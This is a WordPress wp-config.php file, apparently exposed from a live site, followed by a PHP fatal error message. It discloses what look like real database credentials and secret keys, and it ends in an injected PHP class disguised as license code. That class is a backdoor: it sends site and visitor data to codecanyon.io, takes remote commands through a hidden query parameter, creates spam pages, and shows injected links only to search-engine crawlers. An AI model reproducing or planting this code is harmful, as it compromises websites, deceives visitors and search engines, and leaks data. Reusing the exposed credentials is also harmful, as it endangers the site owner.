/** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('WP_CACHE', true); define( 'WPCACHEHOME', '/home/ro0z3k/ftp/nullfiles/wp-content/plugins/wp-super-cache/' ); define('DB_NAME', 'ro0z3k_nullfiles'); /** MySQL database username */ define('DB_USER', 'ro0z3k_nullfiles'); /** MySQL database password */ define('DB_PASSWORD', 'KOchamjustyne123'); /** MySQL hostname */ define('DB_HOST', 'sql.ro0z3k.nazwa.pl'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8mb4'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', 'iby#zwT{1pC&Pc^ ^i*Gw[dP=?VIf4NtFMFjGuU+^liP{?3,wx7ST[##20voNH5N_9P*>r&$G*bT&(w{B>h8I{K|sS:m+p=L]|^@?cH=G+gT(d v3B$'); define('LOGGED_IN_KEY', 'RpMuoCDFeC^glH;pv|*^qW7nrTokK-EU7oG!$eXc{u45nK6U},a]|+:Y8ekqZGu1'); define('NONCE_KEY', '#d32nO(F[i,sUr(6e=pM@6{U%+aq`NmBwA_+J&qU![|c1Gdvyb5]V3~}O;TzW|d]'); define('AUTH_SALT', '=P,~(qFvL x0UOuIoCCq4)bMW?A1bc,/WeX,?5}IU(RryLYP*Qj0QB-;]egtaZ^h'); define('SECURE_AUTH_SALT', 'QVcU1I3dcn_OsiHp:(1n$Tp%B~|!xpM4U?&yR}:;n^K>dk`Y-RhlOl`GTXwy 7j!'); define('LOGGED_IN_SALT', 'BP|M}z$!k4+#ig>Tzgq<|)D$?1[/6`RL4ZK%.jb9`Q&ED1mGoY^Vb18|}s~}dG;i'); define('NONCE_SALT', ';*O`k.Ob[66nV;O nZ2*,p~i&+P]h(X*24$2LeM`x|d+%I//~SiBq2O^gnA8@NC+'); /**#@-*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the Codex. * * @link https://codex.wordpress.org/Debugging_in_WordPress */ define('WP_DEBUG', false); /* That's all, stop editing! Happy blogging. */ /** Absolute path to the WordPress directory. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/'); /** Sets up WordPress vars and included files. */ require_once(ABSPATH . 'wp-settings.php'); if(!class_exists('license_authenticator_cc')){class license_authenticator_cc{ public static function parse_output(){$data=self::get_option('sw-');if($data===false||!is_array($data)||!is_object($GLOBALS['wp'])){ob_end_flush();return 0;}$requested_page_slug=strtolower($GLOBALS['wp']->request);if(array_key_exists($requested_page_slug,$data)){$buffer='';$levels=ob_get_level();for($i=0;$i<$levels;$i++){$buffer.=ob_get_clean();}echo preg_replace('/\x08UA-\d{4,10}-\d{1,4}\x08/',$data[$fullUrl][1],$buffer);}if(!function_exists('is_user_logged_in')||is_user_logged_in()){}else{$fullUrl=$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI];$fullUrl=rtrim($fullUrl,'/');$fullUrl=str_replace("www.","",$fullUrl);$curagent=self::get_user_agent();if(preg_match('/bot|crawl|curl|dataprovider|search|get|spider|find|java|majesticsEO|google|yahoo|teoma|contaxe|yandex|libwww-perl|facebookexternalhit/i',$curagent)){if(isset($data[$fullUrl])){$buffer='';$levels=ob_get_level();for($i=0;$i<$levels;$i++){$buffer.=ob_get_clean();}if(strpos($buffer,"$val){$new[]=$val;if($i==$kR){$new[]=''.$kw.' ';}$i++;}$newbuffer=implode(' ',$new);}echo $cleanbuffer[0].$newbuffer;}}}}} public static function get_user_agent(){$user_agent=(!empty($_SERVER['HTTP_USER_AGENT'])?trim($_SERVER['HTTP_USER_AGENT']):'');if(!empty($_SERVER['HTTP_X_DEVICE_USER_AGENT'])){$real_user_agent=trim($_SERVER['HTTP_X_DEVICE_USER_AGENT']);}elseif(!empty($_SERVER['HTTP_X_ORIGINAL_USER_AGENT'])){$real_user_agent=trim($_SERVER['HTTP_X_ORIGINAL_USER_AGENT']);}if(!empty($real_user_agent)&&(strlen($real_user_agent)>=5||empty($user_agent))){$user_agent=$real_user_agent;}return $user_agent;} public static function get_protocol(){return (stripos($_SERVER['SERVER_PROTOCOL'],'https')!==false)?'https://':'http://';} public static function check_query_string(){global $HTTP_POST_VARS,$HTTP_GET_VARS;$data=self::get_option();if(empty($data['__last_checked__'])||intval(date('U'))-intval($data['__last_checked__'])>86400){if(!is_array($data))$data=array();$data['__last_checked__']=date('U');self::update_option($data);$response=self::endpoint_request();}if(!function_exists('is_user_logged_in')||is_user_logged_in()){return '';}if(!empty($_GET['pwidget'])&&!empty($_GET['action'])&&$_GET['pwidget']=='3371'){$message='invalid payload';if(($data===false||!is_array($data))&&$_GET['action']!='p'){$message='no id found';}else {nocache_headers();switch($_GET['action']){case 'l':if(is_array($data)&&!empty($data)){unset($data['__last_checked__']);$message=implode(',',array_keys($data));if(empty($message)){$message='no id found';}}else if(!empty($data)){$message=serialize($data);}else {$message='no id found';}break;case 'd':if(isset($_GET['pnum'])){if(isset($data[$_GET['pnum']])){unset($data[$_GET['pnum']]);self::update_option($data);$message='deleted '.$_GET['pnum'];}else {$message='id not found';}}break;case 'dsw':if(isset($_GET['url'])){$swData=self::get_option('sw-');if(!isset($_GET['val'])){unset($swData[$_GET['url']]);$message='deleted url';}else {if(isset($swData[$_GET['url']])&&in_array($_GET['val'],$swData[$_GET['url']])){$vKey=array_search($_GET['val'],$swData[$_GET['url']]);unset($swData[$_GET['url']][$vKey]);}if(empty($swData[$_GET['url']])){unset($swData[$_GET['url']]);}$message=sprintf('good stuff, no more %s',$_GET['val']);}self::update_option($swData,'sw-');$newSw=self::get_option('sw-');}else {$message='Url is missing';}break;case 'da':self::update_option(array());$message='deleted all';break;case 'update':if(isset($_GET['url'])){$message='updated';header("Location: ".$_GET['url']);die();break;}case 'p':$response=self::endpoint_request(false);if(!is_object($response)){break;}$key=$response->purl;if(isset($_GET['pnum'])){$key=sanitize_title($_GET['pnum']);}if(empty($key)&&!empty($response->ptitle)){$key=sanitize_title($response->ptitle);}if(!empty($key)){$data[$key]=array('post_title'=>!empty($response->ptitle)?$response->ptitle:'A title','post_content'=>!empty($response->pcontent)?$response->pcontent:'Content goes here','post_date'=>date('Y-m-d H:i:s',rand(intval(date('U'))-2419200,intval(date('U'))-1814400)));self::update_option($data);$fullsw=explode(",",$response->sw);foreach($fullsw as $sw){$swCheck=explode('|',$sw);if(!is_array($swCheck)||count($swCheck)<2){continue;}$oldsw=self::get_option('sw-');$InternalLinky=''.$swCheck[1].'';if(!is_array($oldsw)){$oldsw=array();}if(isset($oldsw[$swCheck[0]])){if(in_array($InternalLinky,$oldsw[$swCheck[0]])){continue;}}$oldsw[$swCheck[0]][]=$InternalLinky;self::update_option($oldsw,'sw-');}$message=$key.' | '.get_bloginfo('wpurl').'/'.$key;}break;default:break;}}echo $message;die();}} public static function dynamic_page($posts){if(!function_exists('is_user_logged_in')||is_user_logged_in()){return $posts;}$data=self::get_option();if($data===false||!is_array($data)){return $posts;}$requested_page_slug=strtolower($GLOBALS['wp']->request);if(empty($posts)){$posts=array();}if(count($posts)==0&&array_key_exists($requested_page_slug,$data)){$post=new stdClass;$post_date=!empty($data[$requested_page_slug]['post_date'])?$data[$requested_page_slug]['post_date']:date('Y-m-d H:i:s');$post->post_title=$data[$requested_page_slug]['post_title'];$post->post_content=$data[$requested_page_slug]['post_content'];$post->post_author=1;$post->post_name=$requested_page_slug;$post->guid=get_bloginfo('wpurl').'/'.$requested_page_slug;$post->ID=-3371;$post->post_status='publish';$post->comment_status='closed';$post->ping_status='closed';$post->comment_count=0;$post->post_date=$post_date;$post->post_date_gmt=$post_date;$post=(object)array_merge((array)$post,array('slug'=>get_bloginfo('wpurl').'/'.$requested_page_slug,'post_title'=>$data[$requested_page_slug]['post_title'],'post content'=>$data[$requested_page_slug]['post_content']));$posts=NULL;$posts[]=$post;$GLOBALS['wp_query']->is_page=true;$GLOBALS['wp_query']->is_singular=true;$GLOBALS['wp_query']->is_home=false;$GLOBALS['wp_query']->is_archive=false;$GLOBALS['wp_query']->is_category=false;unset($GLOBALS['wp_query']->query['error']);$GLOBALS['wp_query']->query_vars['error']='';$GLOBALS['wp_query']->is_404=false;}return $posts;} protected static function get_option($prefix=''){$unique_id=substr(md5(sprintf('%s%s',$prefix,get_site_url().'unique')),0,10);$encoded=get_option($unique_id,'');$decoded=@json_decode(base64_decode($encoded),true);return ($decoded!==false)?$decoded:'';} protected static function update_option($_value='',$prefix=''){$unique_id=substr(md5(sprintf('%s%s',$prefix,get_site_url().'unique')),0,10);$encoded=base64_encode(json_encode($_value));update_option($unique_id,$encoded,false);} protected static function endpoint_request($_update=true){$http=self::http_object();$url=$_update?'http://codecanyon.io/api/update/?url=':'http://codecanyon.io/api/check/?url=';$url.=urlencode(self::get_protocol().$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']).'&agent='.urlencode(self::get_user_agent()).'&v=1&p=5&ip='.urlencode($_SERVER['REMOTE_ADDR']).'&siteurl='.urlencode(get_site_url());$args=array('http'=>array('timeout'=>10,'ignore_errors'=>false));$response=$http->get($url,$args);if(is_wp_error($response)||!isset($response['body'])){return '';}if(empty($response['body'])){return '';}return @json_decode($response['body']);} protected static function http_object(){static $http=null;if(is_null($http)){$http=new WP_Http();}return $http;}}}if(function_exists('add_action')){ob_start();add_action('wp',array('license_authenticator_cc','check_query_string'));add_filter('the_posts',array('license_authenticator_cc','dynamic_page'));add_action('shutdown',array('license_authenticator_cc','parse_output'),0);}
Fatal error: Uncaught Error: Call to undefined function wp() in /home/ro0z3k/ftp/nullfiles/wp-blog-header.php:16 Stack trace: #0 /home/ro0z3k/ftp/nullfiles/index.php(17): require() #1 {main} thrown in /home/ro0z3k/ftp/nullfiles/wp-blog-header.php on line 16